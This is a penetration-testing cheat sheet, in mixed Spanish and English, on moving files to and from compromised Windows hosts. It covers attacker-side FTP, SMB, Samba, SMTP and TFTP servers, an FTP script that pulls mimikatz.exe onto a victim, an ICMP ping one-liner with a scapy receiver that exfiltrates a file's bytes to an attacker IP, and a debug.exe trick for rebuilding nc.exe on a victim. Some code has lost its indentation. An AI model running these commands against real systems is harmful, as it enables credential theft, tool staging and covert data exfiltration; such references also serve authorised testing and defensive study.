#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Windows client
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
SMB
Kali
Kali como servidor:
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
Samba
Crear un recurso compartido vía smb utilizando samba:
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
Windows
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
SCP
El atacante debe tener SSHd corriendo en su máquina
#In order to exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
SMTP
Si puedes mandar datos a un servidor SMTP, puedes crear un SMTP server para recibir esos datos con Python:
sudo python -m smtpd -n -c DebuggingServer :25
TFTP
Instalado por defecto en Win XP y 2003 (en otros el servicio debe ser instalado explicitamente).
Kali
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
Esta es una técnica que solo funciona en Windows de 32 Bits.
Basicamente la idea es utilizar debug.exe (se utiliza para inspeccionar binarios pero tambien puede reconstruirlos desde hexadecimal).
La idea es coger un binario como nc.exe. Lo desensamblamos en hexadecimal, lo comprimimos al máximo (pues debug solo acepta 64kb o menos) y lo volvemos a ensamblar en la máquina víctima.
Con el siguiente código lo comprimimos:
upx -9 nc.exe
Ahora que pesa solo 29kb lo desensamblamos con exe2bat.exe (utilizamos wine para ejecutar el .exe):
wine exe2bat.exe nc.exe nc.txt
Después solo tenemos que escribir nuestro código en la windows-shell y ésta automáticamente creará el ejecutable.